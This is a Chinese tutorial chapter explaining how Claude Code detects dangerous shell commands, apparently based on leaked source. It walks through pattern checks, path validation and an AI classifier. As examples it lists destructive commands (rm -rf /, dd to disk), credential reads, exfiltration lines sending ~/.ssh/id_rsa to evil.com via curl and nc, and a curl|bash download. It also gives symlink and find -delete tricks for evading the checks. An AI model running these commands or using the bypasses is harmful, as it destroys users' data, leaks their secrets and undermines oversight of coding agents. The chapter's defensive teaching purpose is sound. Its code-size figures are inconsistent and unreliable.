第18章:安全防线——危险命令检测

为什么需要专门的安全检测?

上一章我们说了权限系统——用户可以配置 allow/deny 规则。但有些操作太危险了,不能只依赖用户配置。

想象一个新手用户,他可能不知道 chmod 777 / 是什么意思,就点了"允许"。或者一个复杂的命令,看起来人畜无害,实际上暗藏杀机。

这就是为什么 Claude Code 需要独立于用户配置的安全检测——即使用户说"允许",系统也要再检查一遍。

Bash 安全检测的规模

Bash 工具的安全相关代码超过 50 万行,分布在 18 个文件中:

文件行数职责
bashSecurity.ts~102K危险模式匹配
bashPermissions.ts~98K权限规则评估
readOnlyValidation.ts~68K只读操作检测
pathValidation.ts~43K路径安全验证
sedValidation.ts~21Ksed 命令分析

安全代码比功能代码还多!这不是过度工程——当 AI 能执行终端命令时,安全性怎么强调都不为过。

危险模式分类

Claude Code 把危险命令分成几个类别:

一、系统破坏性命令


# 删除系统文件
rm -rf /
rm -rf /*
rm -rf ~

# 格式化磁盘
mkfs.ext4 /dev/sda
dd if=/dev/zero of=/dev/sda

# 修改系统权限
chmod 777 /
chmod -R 777 /etc

这些命令可以让你的系统变得不可用。系统会绝对禁止这些命令,即使用户选择了 Bypass 模式。

二、数据泄露风险


# 读取密钥
cat ~/.ssh/id_rsa
cat ~/.aws/credentials

# 发送数据到外部
curl -X POST https://evil.com -d @~/.ssh/id_rsa
cat /etc/passwd | nc evil.com 1234

这些命令可能泄露敏感信息。系统会标记为高风险,要求用户确认。

三、不可逆操作


# Git 操作
git push --force          # 覆盖远程历史
git reset --hard HEAD~10  # 丢弃最近 10 个提交
git branch -D feature     # 删除分支

# 数据库操作
DROP TABLE users;
TRUNCATE TABLE orders;

这些操作可以撤销,但很困难。系统会发出警告并要求确认。

四、"看起来无害"的危险命令


# 这个命令看起来只是在查看文件...
find / -name "*.log" -exec rm {} \;
# 实际上它删除了所有 .log 文件!

# 这个看起来是在安装软件包...
curl https://evil.com/script.sh | bash
# 实际上它从网上下载并执行了未知脚本!

这是最难检测的——命令的"外表"和"行为"不一致。Claude Code 需要理解命令的语义,而不只是匹配关键字。

命令解析:理解语义

对于复杂的命令,简单的字符串匹配不够。Claude Code 会进行更深入的分析:


function analyzeCommand(command: string): SecurityAnalysis {
  // 步骤 1:分解管道
  // "cat file.txt | grep error | wc -l"
  // → ["cat file.txt", "grep error", "wc -l"]
  const stages = splitPipeline(command)

  // 步骤 2:分析每个阶段
  for (const stage of stages) {
    // 提取命令名和参数
    const { executable, args, redirections } = parseShellCommand(stage)

    // 步骤 3:检查重定向
    // "echo hello > /etc/passwd" 的 ">" 是修改文件的信号
    for (const redir of redirections) {
      if (redir.type === "write" && isSystemPath(redir.target)) {
        return { dangerous: true, reason: "重定向到系统文件" }
      }
    }

    // 步骤 4:检查可执行文件
    if (DANGEROUS_EXECUTABLES.includes(executable)) {
      return { dangerous: true, reason: `${executable} 是危险命令` }
    }

    // 步骤 5:检查参数组合
    if (executable === "rm" && args.includes("-rf")) {
      return { dangerous: true, reason: "递归强制删除" }
    }
  }

  return { dangerous: false }
}

路径安全验证

Claude Code 会验证命令中涉及的所有路径:


function validatePath(path: string, workDir: string): PathValidation {
  // 解析为绝对路径
  const resolved = resolvePath(path, workDir)

  // 检查 1:是否在工作目录内?
  if (!resolved.startsWith(workDir)) {
    return {
      safe: false,
      reason: "路径超出工作目录",
      severity: "high"
    }
  }

  // 检查 2:有没有路径穿越(../../../etc/passwd)?
  if (hasPathTraversal(path)) {
    return {
      safe: false,
      reason: "检测到路径穿越",
      severity: "critical"
    }
  }

  // 检查 3:是否是敏感文件?
  if (SENSITIVE_PATHS.some(p => resolved.includes(p))) {
    return {
      safe: false,
      reason: "涉及敏感文件路径",
      severity: "high"
    }
  }

  return { safe: true }
}

const SENSITIVE_PATHS = [
  ".ssh",
  ".aws",
  ".env",
  "credentials",
  "secrets",
  "private_key",
  ".gnupg",
]

路径穿越是一种经典的安全攻击:用 ../ 跳出当前目录,访问不应该被访问的文件。比如:


工作目录:/Users/alice/project

恶意路径:../../../etc/passwd
解析后:  /etc/passwd   ← 超出了工作目录!

分类器:AI 检查 AI

除了基于规则的检测,Claude Code 还可以用 AI 分类器来评估命令的安全性:


规则检测(快速,但可能漏报)
  + AI 分类器(准确,但稍慢)
  = 更全面的安全覆盖

分类器是怎么工作的?


输入:
  命令:npm install express
  上下文:用户正在搭建一个 Web 服务器
  历史:之前安装了 node.js

分类器评估:
  这个命令做什么?→ 安装一个 npm 包
  有破坏性吗?→ 不会删除或修改现有文件
  符合用户意图吗?→ 是的,用户在搭建服务器
  有安全风险吗?→ npm 包可能有恶意代码,但 express 是知名包

结论:低风险,可以自动允许

分类器和规则检测并行运行——规则检测立刻给出结果,分类器稍后给出更精确的判断。如果规则已经能做出决定(比如明显危险的命令),就不需要等分类器。

安全检测 vs 可用性

安全检测有一个永恒的矛盾:太松不安全,太紧不好用。

太松的例子:


允许:curl http://example.com | bash
→ 从网上下载并执行未知脚本,可能是恶意的

太紧的例子:


禁止:git commit -m "fix bug"
→ 只是一个普通的 git 提交,完全安全

Claude Code 通过分层来解决这个问题:

  • - 第一层用宽松的规则快速通过明显安全的操作
  • - 第二层用分类器处理"灰色地带"
  • - 第三层让用户做最终决定

这样大部分操作(安全的)都能快速通过,少数不确定的才需要额外检查。

本章小结

  • - 安全检测独立于用户配置——即使用户允许,系统也会检查
  • - 危险命令分四类:系统破坏、数据泄露、不可逆操作、隐藏危险
  • - 命令解析理解语义(管道、重定向、参数组合),不只是简单匹配
  • - 路径验证防止路径穿越攻击
  • - AI 分类器和规则检测并行运行,互相补充
  • - 安全与可用性的平衡通过分层检测来实现

安全思维:像攻击者一样思考

在安全领域,有一种思维方式叫做红队思维(Red Team Thinking)——你假装自己是攻击者,试图绕过安全系统。

这种思维方式对理解安全系统非常有帮助。比如:

安全检查:禁止 rm -rf /

攻击者思维:那我用 find / -delete 呢?效果一样但命令不同。

安全检查:禁止访问 .ssh 目录

攻击者思维:那我用符号链接呢?ln -s ~/.ssh /tmp/innocent && cat /tmp/innocent/id_rsa

安全检查:只允许工作目录内的路径

攻击者思维:那我用 ../../ 路径穿越呢?

每一种攻击思路都推动了安全系统的改进。这就是为什么安全是一场"军备竞赛"——防御者和攻击者在不断互相进化。

如果你对安全感兴趣,可以参加 CTF(Capture The Flag)竞赛——这是一种专门锻炼安全思维的编程竞赛,非常适合高中生参与。

下一章,我们将了解沙箱机制——最后一道安全防线。


本书由 everettjf 使用 Claude Code 分析泄露源码编写 | 保留出处即可自由转载